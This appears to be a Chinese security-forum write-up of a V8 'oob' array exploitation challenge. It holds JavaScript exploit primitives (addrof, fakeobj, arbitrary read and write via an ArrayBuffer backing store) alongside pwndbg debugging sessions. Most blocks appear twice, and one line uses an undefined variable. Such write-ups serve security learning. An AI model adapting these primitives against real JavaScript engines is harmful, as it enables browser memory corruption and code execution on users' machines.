var u64_buf = new Uint32Array(buf);
 
function ftoi(val) { // typeof(val) = float
    f64_buf[0] = val;
    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness
}
 
function itof(val) { // typeof(val) = BigInt
    u64_buf[0] = Number(val & 0xffffffffn);
    u64_buf[1] = Number(val >> 32n);
    return f64_buf[0];
}
/// Helper functions to convert between float and integer primitives
var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
 
function ftoi(val) { // typeof(val) = float
    f64_buf[0] = val;
    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness
}
 
function itof(val) { // typeof(val) = BigInt
    u64_buf[0] = Number(val & 0xffffffffn);
    u64_buf[1] = Number(val >> 32n);
    return f64_buf[0];
}
pwndbg> r
Starting program: /home/user1/Downloads/v8/v8/out.gn/x64.release/d8 --allow-natives-syntax --shell pwn.js
ERROR: Could not find ELF base!
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff661a700 (LWP 13793)]
[New Thread 0x7ffff5e19700 (LWP 13794)]
[New Thread 0x7ffff5618700 (LWP 13795)]
[+] Controlled float array: 0xb5e64e0f2d1
V8 version 7.5.0 (candidate)
d8> var a = [1.1, 2.2];
undefined
d8> %DebugPrint(a);
0x0b5e64e0f551 <JSArray[2]>
[1.1, 2.2]
d8> a.oob();
1.6144441094084e-310
d8> "0x" + ftoi(a.oob()).toString(16);
"0x1db823d82ed9"
d8> %SystemBreak()
 
Thread 1 "d8" received signal SIGTRAP, Trace/breakpoint trap.
0x00005555561647a1 in v8::base::OS::DebugBreak() ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x0
 RBX  0x555556320e50 —▸ 0x7fffffffdfd0 ◂— 0x555556320e50
 RCX  0x5555560e9500 (Builtins_CallRuntimeHandler) ◂— push   rbp
 RDX  0x555556320e50 —▸ 0x7fffffffdfd0 ◂— 0x555556320e50
 RDI  0x0
 RSI  0x7fffffffd928 —▸ 0x2aecc36404d1 ◂— 0x2aecc36405
 R8   0x2b69e17c1869 ◂— 0x2aecc3640f
 R9   0x3a
 R10  0x100000000
 R11  0xfffffffffffffffb
 R12  0x5555563a82c0 ◂— 0x0
 R13  0x555556320ed0 —▸ 0x2aecc3640751 ◂— 0xb600002aecc36407
 R14  0x0
 R15  0x5555563a6388 ◂— 0x1baddead0baddeaf
 RBP  0x7fffffffd8d0 —▸ 0x7fffffffd8f8 —▸ 0x7fffffffd918 —▸ 0x7fffffffd950 —▸ 0x7fffffffd978 ◂— ...
 RSP  0x7fffffffd8a8 —▸ 0x555555e1b825 ◂— mov    r14, qword ptr [rbx + 0x58]
 RIP  0x5555561647a1 (v8::base::OS::DebugBreak()+1) ◂— ret
 0x5555561647a1 <v8::base::OS::DebugBreak()+1>    ret    <0x555555e1b825>
    
   0x555555e1b825                                   mov    r14, qword ptr [rbx + 0x58]
   0x555555e1b829                                   mov    rsi, qword ptr [rbx + 0x9da8]
   0x555555e1b830                                   mov    qword ptr [rbx + 0x9da8], r15
   0x555555e1b837                                   add    dword ptr [rbx + 0x9db8], -1
   0x555555e1b83e                                   cmp    qword ptr [rbx + 0x9db0], r12
   0x555555e1b845                                   je     0x555555e1b860 <0x555555e1b860>
    
   0x555555e1b860                                   mov    rdi, r15
   0x555555e1b863                                   call   0x555555b4b2d0 <0x555555b4b2d0>
 
   0x555555e1b868                                   mov    rax, r14
   0x555555e1b86b                                   pop    rbx
──────────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffd8a8 —▸ 0x555555e1b825 ◂— mov    r14, qword ptr [rbx + 0x58]
01:0008│     0x7fffffffd8b0 —▸ 0x555555e1b7f0 ◂— push   rbp
02:0010│     0x7fffffffd8b8 —▸ 0x5555562d0740 (v8::internal::kIntrinsicFunctions) ◂— 0x0
03:0018│     0x7fffffffd8c0 ◂— 0x0
04:0020│     0x7fffffffd8c8 —▸ 0x7fffffffd928 —▸ 0x2aecc36404d1 ◂— 0x2aecc36405
05:0028│ rbp 0x7fffffffd8d0 —▸ 0x7fffffffd8f8 —▸ 0x7fffffffd918 —▸ 0x7fffffffd950 —▸ 0x7fffffffd978 ◂— ...
06:0030│     0x7fffffffd8d8 —▸ 0x555556095f94 (Builtins_CEntry_Return1_DontSaveFPRegs_ArgvInRegister_NoBuiltinExit+52) ◂— cmp    rax, qword ptr [r13 + 0xb8]
07:0038│     0x7fffffffd8e0 ◂— 0xffffffffffffffff
────────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0   0x5555561647a1 v8::base::OS::DebugBreak()+1
   f 1   0x555555e1b825
   f 2   0x555556095f94 Builtins_CEntry_Return1_DontSaveFPRegs_ArgvInRegister_NoBuiltinExit+52
   f 3   0x5555560e9552 Builtins_CallRuntimeHandler+82
   f 4   0x5555560091a6 Builtins_InterpreterEntryTrampoline+678
   f 5   0x2aecc36404d1
   f 6     0x3a00000000
   f 7   0x2b69e17e39a1
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/4gx 0x0b5e64e0f551-1
0xb5e64e0f5500x00001db823d82ed9      0x00002aecc3640c71
0xb5e64e0f5600x00000b5e64e0f531      0x0000000200000000
pwndbg> r
Starting program: /home/user1/Downloads/v8/v8/out.gn/x64.release/d8 --allow-natives-syntax --shell pwn.js
ERROR: Could not find ELF base!
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff661a700 (LWP 13793)]
[New Thread 0x7ffff5e19700 (LWP 13794)]
[New Thread 0x7ffff5618700 (LWP 13795)]
[+] Controlled float array: 0xb5e64e0f2d1
V8 version 7.5.0 (candidate)
d8> var a = [1.1, 2.2];
undefined
d8> %DebugPrint(a);
0x0b5e64e0f551 <JSArray[2]>
[1.1, 2.2]
d8> a.oob();
1.6144441094084e-310
d8> "0x" + ftoi(a.oob()).toString(16);
"0x1db823d82ed9"
d8> %SystemBreak()
 
Thread 1 "d8" received signal SIGTRAP, Trace/breakpoint trap.
0x00005555561647a1 in v8::base::OS::DebugBreak() ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x0
 RBX  0x555556320e50 —▸ 0x7fffffffdfd0 ◂— 0x555556320e50
 RCX  0x5555560e9500 (Builtins_CallRuntimeHandler) ◂— push   rbp
 RDX  0x555556320e50 —▸ 0x7fffffffdfd0 ◂— 0x555556320e50
 RDI  0x0
 RSI  0x7fffffffd928 —▸ 0x2aecc36404d1 ◂— 0x2aecc36405
 R8   0x2b69e17c1869 ◂— 0x2aecc3640f
 R9   0x3a
 R10  0x100000000
 R11  0xfffffffffffffffb
 R12  0x5555563a82c0 ◂— 0x0
 R13  0x555556320ed0 —▸ 0x2aecc3640751 ◂— 0xb600002aecc36407
 R14  0x0
 R15  0x5555563a6388 ◂— 0x1baddead0baddeaf
 RBP  0x7fffffffd8d0 —▸ 0x7fffffffd8f8 —▸ 0x7fffffffd918 —▸ 0x7fffffffd950 —▸ 0x7fffffffd978 ◂— ...
 RSP  0x7fffffffd8a8 —▸ 0x555555e1b825 ◂— mov    r14, qword ptr [rbx + 0x58]
 RIP  0x5555561647a1 (v8::base::OS::DebugBreak()+1) ◂— ret
 0x5555561647a1 <v8::base::OS::DebugBreak()+1>    ret    <0x555555e1b825>
    
   0x555555e1b825                                   mov    r14, qword ptr [rbx + 0x58]
   0x555555e1b829                                   mov    rsi, qword ptr [rbx + 0x9da8]
   0x555555e1b830                                   mov    qword ptr [rbx + 0x9da8], r15
   0x555555e1b837                                   add    dword ptr [rbx + 0x9db8], -1
   0x555555e1b83e                                   cmp    qword ptr [rbx + 0x9db0], r12
   0x555555e1b845                                   je     0x555555e1b860 <0x555555e1b860>
    
   0x555555e1b860                                   mov    rdi, r15
   0x555555e1b863                                   call   0x555555b4b2d0 <0x555555b4b2d0>
 
   0x555555e1b868                                   mov    rax, r14
   0x555555e1b86b                                   pop    rbx
──────────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffd8a8 —▸ 0x555555e1b825 ◂— mov    r14, qword ptr [rbx + 0x58]
01:0008│     0x7fffffffd8b0 —▸ 0x555555e1b7f0 ◂— push   rbp
02:0010│     0x7fffffffd8b8 —▸ 0x5555562d0740 (v8::internal::kIntrinsicFunctions) ◂— 0x0
03:0018│     0x7fffffffd8c0 ◂— 0x0
04:0020│     0x7fffffffd8c8 —▸ 0x7fffffffd928 —▸ 0x2aecc36404d1 ◂— 0x2aecc36405
05:0028│ rbp 0x7fffffffd8d0 —▸ 0x7fffffffd8f8 —▸ 0x7fffffffd918 —▸ 0x7fffffffd950 —▸ 0x7fffffffd978 ◂— ...
06:0030│     0x7fffffffd8d8 —▸ 0x555556095f94 (Builtins_CEntry_Return1_DontSaveFPRegs_ArgvInRegister_NoBuiltinExit+52) ◂— cmp    rax, qword ptr [r13 + 0xb8]
07:0038│     0x7fffffffd8e0 ◂— 0xffffffffffffffff
────────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0   0x5555561647a1 v8::base::OS::DebugBreak()+1
   f 1   0x555555e1b825
   f 2   0x555556095f94 Builtins_CEntry_Return1_DontSaveFPRegs_ArgvInRegister_NoBuiltinExit+52
   f 3   0x5555560e9552 Builtins_CallRuntimeHandler+82
   f 4   0x5555560091a6 Builtins_InterpreterEntryTrampoline+678
   f 5   0x2aecc36404d1
   f 6     0x3a00000000
   f 7   0x2b69e17e39a1
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/4gx 0x0b5e64e0f551-1
0xb5e64e0f5500x00001db823d82ed9      0x00002aecc3640c71
0xb5e64e0f5600x00000b5e64e0f531      0x0000000200000000
pwndbg> r
Starting program: /home/user1/Downloads/v8/v8/out.gn/x64.release/d8 --allow-natives-syntax --shell pwn.js
ERROR: Could not find ELF base!
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff661a700 (LWP 22583)]
[New Thread 0x7ffff5e19700 (LWP 22584)]
[New Thread 0x7ffff5618700 (LWP 22585)]
[+] Controlled float array: 0x1dbce0a8f2d1
V8 version 7.5.0 (candidate)
d8> float_arr=[1.1,1.2];
[1.1, 1.2]
d8> var float_arr_map = float_arr.oob();
undefined
d8> var obj = {"A":1.1};
undefined
d8> var obj_arr = [obj];
undefined
d8> obj_arr.oob(float_arr_map);
undefined
d8> "0x" + ftoi(obj_arr[0]).toString(16);
"0x1dbce0a91c99"
d8> %DebugPrint(obj);
0x1dbce0a91c99 <Object map = 0xd5aaf14ab89>
{A: 1.1}
pwndbg> r
Starting program: /home/user1/Downloads/v8/v8/out.gn/x64.release/d8 --allow-natives-syntax --shell pwn.js
ERROR: Could not find ELF base!
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff661a700 (LWP 22583)]
[New Thread 0x7ffff5e19700 (LWP 22584)]
[New Thread 0x7ffff5618700 (LWP 22585)]
[+] Controlled float array: 0x1dbce0a8f2d1
V8 version 7.5.0 (candidate)
d8> float_arr=[1.1,1.2];
[1.1, 1.2]
d8> var float_arr_map = float_arr.oob();
undefined
d8> var obj = {"A":1.1};
undefined
d8> var obj_arr = [obj];
undefined
d8> obj_arr.oob(float_arr_map);
undefined
d8> "0x" + ftoi(obj_arr[0]).toString(16);
"0x1dbce0a91c99"
d8> %DebugPrint(obj);
0x1dbce0a91c99 <Object map = 0xd5aaf14ab89>
{A: 1.1}
/// Construct addrof primitive
var temp_obj = {"A":1};
var obj_arr = [temp_obj];
var float_arr = [1.1, 1.2, 1.3, 1.4];
var obj_arr_map = obj_arr.oob();
var float_arr_map = fl_arr.oob();
 
function addrof(in_obj) {
    // First, put the obj whose address we want to find into index 0
    obj_arr[0] = in_obj;
 
    // Change the obj array's map to the float array's map
    obj_arr.oob(float_arr_map);
 
    // Get the address by accessing index 0
    let addr = obj_arr[0];
 
    // Set the map back
    obj_arr.oob(obj_arr_map);
 
    // Return the address as a BigInt
    return ftoi(addr);
}
 
function fakeobj(addr) {
    // First, put the address as a float into index 0 of the float array
    float_arr[0] = itof(addr);
 
    // Change the float array's map to the obj array's map
    float_arr.oob(obj_arr_map);
 
    // Get a "fake" object at that memory location and store it
    let fake = float_arr[0];
 
    // Set the map back
    float_arr.oob(float_arr_map);
 
    // Return the object
    return fake;
}
/// Construct addrof primitive
var temp_obj = {"A":1};
var obj_arr = [temp_obj];
var float_arr = [1.1, 1.2, 1.3, 1.4];
var obj_arr_map = obj_arr.oob();
var float_arr_map = fl_arr.oob();
 
function addrof(in_obj) {
    // First, put the obj whose address we want to find into index 0
    obj_arr[0] = in_obj;
 
    // Change the obj array's map to the float array's map
    obj_arr.oob(float_arr_map);
 
    // Get the address by accessing index 0
    let addr = obj_arr[0];
 
    // Set the map back
    obj_arr.oob(obj_arr_map);
 
    // Return the address as a BigInt
    return ftoi(addr);
}
 
function fakeobj(addr) {
    // First, put the address as a float into index 0 of the float array
    float_arr[0] = itof(addr);
 
    // Change the float array's map to the obj array's map
    float_arr.oob(obj_arr_map);
 
    // Get a "fake" object at that memory location and store it
    let fake = float_arr[0];
 
    // Set the map back
    float_arr.oob(float_arr_map);
 
    // Return the object
    return fake;
}
// This array is what we will use to read from and write to arbitrary memory addresses
var arb_rw_arr = [float_arr_map, 1.2, 1.3, 1.4];
 
console.log("[+] Controlled float array: 0x" + addrof(arb_rw_arr).toString(16));
 
function arb_read(addr) {
    // We have to use tagged pointers for reading, so we tag the addr
    if (addr % 2n == 0)
    addr += 1n;
 
    // Place a fakeobj right on top of our crafted array with a float array map
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
 
    // Change the elements pointer using our crafted array to read_addr-0x10
    arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
 
    // Index 0 will then return the value at read_addr
    return ftoi(fake[0]);
}
 
function initial_arb_write(addr, val) {
    // Place a fakeobj right on top of our crafted array with a float array map
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
 
    // Change the elements pointer using our crafted array to write_addr-0x10
    arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
 
    // Write to index 0 as a floating point value
    fake[0] = itof(BigInt(val));
}
// This array is what we will use to read from and write to arbitrary memory addresses
var arb_rw_arr = [float_arr_map, 1.2, 1.3, 1.4];
 
console.log("[+] Controlled float array: 0x" + addrof(arb_rw_arr).toString(16));
 
function arb_read(addr) {
    // We have to use tagged pointers for reading, so we tag the addr
    if (addr % 2n == 0)
    addr += 1n;
 
    // Place a fakeobj right on top of our crafted array with a float array map
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
 
    // Change the elements pointer using our crafted array to read_addr-0x10
    arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
 
    // Index 0 will then return the value at read_addr
    return ftoi(fake[0]);
}
 
function initial_arb_write(addr, val) {
    // Place a fakeobj right on top of our crafted array with a float array map
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
 
    // Change the elements pointer using our crafted array to write_addr-0x10
    arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
 
    // Write to index 0 as a floating point value
    fake[0] = itof(BigInt(val));
}
function arb_write(addr, val) {
    let buf = new ArrayBuffer(8);
    let dataview = new DataView(buf);
    let buf_addr = addrof(buf);
    let backing_store_addr = buf_addr + 0x20n;
    initial_arb_write(backing_store_addr, addr);
    dataview.setBigUint64(0, BigInt(val), true);
}
function arb_write(addr, val) {
    let buf = new ArrayBuffer(8);
    let dataview = new DataView(buf);
    let buf_addr = addrof(buf);
    let backing_store_addr = buf_addr + 0x20n;
    initial_arb_write(backing_store_addr, addr);
    dataview.setBigUint64(0, BigInt(val), true);
}
pwndbg> r
Starting program: /home/user1/Downloads/v8/v8/out.gn/x64.debug/d8 --allow-natives-syntax
ERROR: Could not find ELF base!
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7f5d5d872700 (LWP 28894)]
[New Thread 0x7f5d5d071700 (LWP 28895)]
[New Thread 0x7f5d5c870700 (LWP 28896)]
V8 version 7.5.0 (candidate)
d8> let buf = new ArrayBuffer(8);
    let dataview = new DataView(buf);undefined
d8> %DebugPrint(buf)
DebugPrint: 0xc8569c4dd51: [JSArrayBuffer]
 - map: 0x0022cd2421b9 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x33da3794e981 <Object map = 0x22cd242209>
 - elements: 0x23d58c9c0c71 <FixedArray[0]> [HOLEY_ELEMENTS]
 - embedder fields: 2
 - backing_store: 0x5646da124120
 - byte_length: 8
 - detachable
 - properties: 0x23d58c9c0c71 <FixedArray[0]> {}
 - embedder fields = {
    0, aligned pointer: (nil)
    0, aligned pointer: (nil)
 }
0x22cd2421b9: [Map]
 - type: JS_ARRAY_BUFFER_TYPE
 - instance size: 64
 - inobject properties: 0
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - stable_map
 - back pointer: 0x23d58c9c04d1 <undefined>
 - prototype_validity cell: 0x244a7cbc0609 <Cell value= 1>
 - instance descriptors (own) #0: 0x23d58c9c0259 <DescriptorArray[0]>
 - layout descriptor: (nil)
 - prototype: 0x33da3794e981 <Object map = 0x22cd242209>
 - constructor: 0x33da3794e7e9 <JSFunction ArrayBuffer (sfi = 0x244a7cbd1509)>
 - dependent code: 0x23d58c9c02c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0
 
[object ArrayBuffer]
d8> %SystemBreak()
 
Thread 1 "d8" received signal SIGTRAP, Trace/breakpoint trap.
v8::base::OS::DebugBreak () at ../../src/base/platform/platform-posix.cc:428
428     }
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x0
 RBX  0x7f5d6184c7c0 ◂— push   rbp
 RCX  0x0
 RDX  0x7f5d60313e73 ◂— '0 == args.length()'
 RDI  0x0
 RSI  0x0
 R8   0x7ffd0e7e00d3 ◂— 0x0
 R9   0x3a
 R10  0xd
 R11  0x7f5d6275e280 (v8::base::OS::DebugBreak()) ◂— push   rbp
 R12  0x33da37941869 ◂— 0x23d58c9c0f
 R13  0x5646da124f80 —▸ 0x23d58c9c0751 ◂— 0x2e000023d58c9c07
 R14  0x0
 R15  0x7ffd0e7e5a78 —▸ 0x23d58c9c04d1 ◂— 0x23d58c9c05
 RBP  0x7ffd0e7e5920 —▸ 0x7ffd0e7e5990 —▸ 0x7ffd0e7e5a10 —▸ 0x7ffd0e7e5a30 —▸ 0x7ffd0e7e5a68 ◂— ...
 RSP  0x7ffd0e7e5920 —▸ 0x7ffd0e7e5990 —▸ 0x7ffd0e7e5a10 —▸ 0x7ffd0e7e5a30 —▸ 0x7ffd0e7e5a68 ◂— ...
 RIP  0x7f5d6275e285 (v8::base::OS::DebugBreak()+5) ◂— pop    rbp
──────────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────────────────────────────
 0x7f5d6275e285 <v8::base::OS::DebugBreak()+5>    pop    rbp
   0x7f5d6275e286 <v8::base::OS::DebugBreak()+6>    ret
    
   0x7f5d6184cb11                                   mov    rsi, qword ptr [rbp - 0x20]
   0x7f5d6184cb15                                   lea    rdi, [rbp - 0x50]
   0x7f5d6184cb19                                   call   v8::internal::ReadOnlyRoots::ReadOnlyRoots(v8::internal::Isolate*)@plt <v8::internal::ReadOnlyRoots::ReadOnlyRoots(v8::internal::Isolate*)@plt>
 
   0x7f5d6184cb1e                                   lea    rdi, [rbp - 0x50]
   0x7f5d6184cb22                                   call   0x7f5d6232e720 <0x7f5d6232e720>
 
   0x7f5d6184cb27                                   mov    qword ptr [rbp - 0x48], rax
   0x7f5d6184cb2b                                   mov    rax, qword ptr [rbp - 0x48]
   0x7f5d6184cb2f                                   mov    qword ptr [rbp - 8], rax
   0x7f5d6184cb33                                   lea    rdi, [rbp - 0x38]
──────────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────────────────────────────────────────────────────────────
In file: /home/user1/Downloads/v8/v8/src/base/platform/platform-posix.cc
   423   // Software breakpoint instruction is 0x0001
   424   asm volatile(".word 0x0001");
   425 #else
   426 #error Unsupported host architecture.
   427 #endif
 428 }
   429
   430
   431 class PosixMemoryMappedFile final : public OS::MemoryMappedFile {
   432  public:
   433   PosixMemoryMappedFile(FILE* file, void* memory, size_t size)
00:0000│ rbp rsp 0x7ffd0e7e5920 —▸ 0x7ffd0e7e5990 —▸ 0x7ffd0e7e5a10 —▸ 0x7ffd0e7e5a30 —▸ 0x7ffd0e7e5a68 ◂— ...
01:0008│         0x7ffd0e7e5928 —▸ 0x7f5d6184cb11 ◂— mov    rsi, qword ptr [rbp - 0x20]
02:0010│         0x7ffd0e7e5930 ◂— 0x1007ffd0e7e5958
03:0018│         0x7ffd0e7e5938 —▸ 0x7f5d602e0180 ◂— 'length_ >= 0'
04:0020│         0x7ffd0e7e5940 ◂— 0xfffffffd
05:0028│         0x7ffd0e7e5948 ◂— 0x0
06:0030│         0x7ffd0e7e5950 ◂— 0x0
07:0038│         0x7ffd0e7e5958 —▸ 0x5646da124f00 —▸ 0x7ffd0e7e6950 ◂— 0x5646da124f00
────────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0   0x7f5d6275e285 v8::base::OS::DebugBreak()+5
   f 1   0x7f5d6184cb11
   f 2   0x7f5d6184c8d7
   f 3   0x7f5d620221db Builtins_CEntry_Return1_DontSaveFPRegs_ArgvInRegister_NoBuiltinExit+59
   f 4   0x7f5d621f7672 Builtins_CallRuntimeHandler+178
   f 5   0x7ffd0e7e5a40
   f 6   0x7ffd0e7e5a40
   f 7   0x7ffd0e7e5aa0
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> job 0xc8569c4dd51
0xc8569c4dd51: [JSArrayBuffer]
 - map: 0x0022cd2421b9 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x33da3794e981 <Object map = 0x22cd242209>
 - elements: 0x23d58c9c0c71 <FixedArray[0]> [HOLEY_ELEMENTS]
 - embedder fields: 2
 - backing_store: 0x5646da124120
 - byte_length: 8
 - detachable
 - properties: 0x23d58c9c0c71 <FixedArray[0]> {}
 - embedder fields = {
    0, aligned pointer: (nil)
    0, aligned pointer: (nil)
 }
pwndbg> telescope 0xc8569c4dd51-1
00:0000│  0xc8569c4dd50 —▸ 0x22cd2421b9 ◂— 0x8000023d58c9c01
01:0008│  0xc8569c4dd58 —▸ 0x23d58c9c0c71 ◂— 0x23d58c9c08
02:0010│  0xc8569c4dd60 —▸ 0x23d58c9c0c71 ◂— 0x23d58c9c08
03:0018│  0xc8569c4dd68 ◂— 0x8
04:0020│  0xc8569c4dd70 —▸ 0x5646da124120 ◂— 0x0
05:0028│  0xc8569c4dd78 ◂— 0x2
06:0030│  0xc8569c4dd80 ◂— 0x0
07:0038│  0xc8569c4dd88 ◂— 0x0
pwndbg> r
Starting program: /home/user1/Downloads/v8/v8/out.gn/x64.debug/d8 --allow-natives-syntax
ERROR: Could not find ELF base!
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7f5d5d872700 (LWP 28894)]
[New Thread 0x7f5d5d071700 (LWP 28895)]
[New Thread 0x7f5d5c870700 (LWP 28896)]
V8 version 7.5.0 (candidate)
d8> let buf = new ArrayBuffer(8);
    let dataview = new DataView(buf);undefined
d8> %DebugPrint(buf)
DebugPrint: 0xc8569c4dd51: [JSArrayBuffer]
 - map: 0x0022cd2421b9 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x33da3794e981 <Object map = 0x22cd242209>
 - elements: 0x23d58c9c0c71 <FixedArray[0]> [HOLEY_ELEMENTS]
 - embedder fields: 2
 - backing_store: 0x5646da124120
 - byte_length: 8
 - detachable
 - properties: 0x23d58c9c0c71 <FixedArray[0]> {}
 - embedder fields = {
    0, aligned pointer: (nil)
    0, aligned pointer: (nil)
 }
0x22cd2421b9: [Map]
 - type: JS_ARRAY_BUFFER_TYPE
 - instance size: 64
 - inobject properties: 0
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - stable_map
 - back pointer: 0x23d58c9c04d1 <undefined>
 - prototype_validity cell: 0x244a7cbc0609 <Cell value= 1>
 - instance descriptors (own) #0: 0x23d58c9c0259 <DescriptorArray[0]>
 - layout descriptor: (nil)
 - prototype: 0x33da3794e981 <Object map = 0x22cd242209>
 - constructor: 0x33da3794e7e9 <JSFunction ArrayBuffer (sfi = 0x244a7cbd1509)>
 - dependent code: 0x23d58c9c02c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0
 
[object ArrayBuffer]
d8> %SystemBreak()
 
Thread 1 "d8" received signal SIGTRAP, Trace/breakpoint trap.
v8::base::OS::DebugBreak () at ../../src/base/platform/platform-posix.cc:428
428     }
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x0
 RBX  0x7f5d6184c7c0 ◂— push   rbp
 RCX  0x0
 RDX  0x7f5d60313e73 ◂— '0 == args.length()'
 RDI  0x0
 RSI  0x0
 R8   0x7ffd0e7e00d3 ◂— 0x0
 R9   0x3a
 R10  0xd
 R11  0x7f5d6275e280 (v8::base::OS::DebugBreak()) ◂— push   rbp
 R12  0x33da37941869 ◂— 0x23d58c9c0f
 R13  0x5646da124f80 —▸ 0x23d58c9c0751 ◂— 0x2e000023d58c9c07
 R14  0x0
 R15  0x7ffd0e7e5a78 —▸ 0x23d58c9c04d1 ◂— 0x23d58c9c05
 RBP  0x7ffd0e7e5920 —▸ 0x7ffd0e7e5990 —▸ 0x7ffd0e7e5a10 —▸ 0x7ffd0e7e5a30 —▸ 0x7ffd0e7e5a68 ◂— ...
 RSP  0x7ffd0e7e5920 —▸ 0x7ffd0e7e5990 —▸ 0x7ffd0e7e5a10 —▸ 0x7ffd0e7e5a30 —▸ 0x7ffd0e7e5a68 ◂— ...
 RIP  0x7f5d6275e285 (v8::base::OS::DebugBreak()+5) ◂— pop    rbp
──────────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────────────────────────────
 0x7f5d6275e285 <v8::base::OS::DebugBreak()+5>    pop    rbp
   0x7f5d6275e286 <v8::base::OS::DebugBreak()+6>    ret
    
   0x7f5d6184cb11                                   mov    rsi, qword ptr [rbp - 0x20]
   0x7f5d6184cb15                                   lea    rdi, [rbp - 0x50]
   0x7f5d6184cb19                                   call   v8::internal::ReadOnlyRoots::ReadOnlyRoots(v8::internal::Isolate*)@plt <v8::internal::ReadOnlyRoots::ReadOnlyRoots(v8::internal::Isolate*)@plt>

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2021-5-11 21:47 被nicaicaiwo编辑 ,原因: 完善
收藏
免费 1
支持
分享
最新回复 (2)
雪    币: 1552
活跃值: (1288)
能力值: ( LV9,RANK:160 )
在线值:
发帖
回帖
粉丝
2

特殊原因,国内编译会比较慢,因此我够买了一个vps进行编译。

最后于 2021-7-1 08:48 被nicaicaiwo编辑 ,原因:
2021-6-8 09:59
0
雪    币: 20
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
3

请问我标注的对吗?

2021-7-3 10:50
0
游客
登录 | 注册 方可回帖
返回
//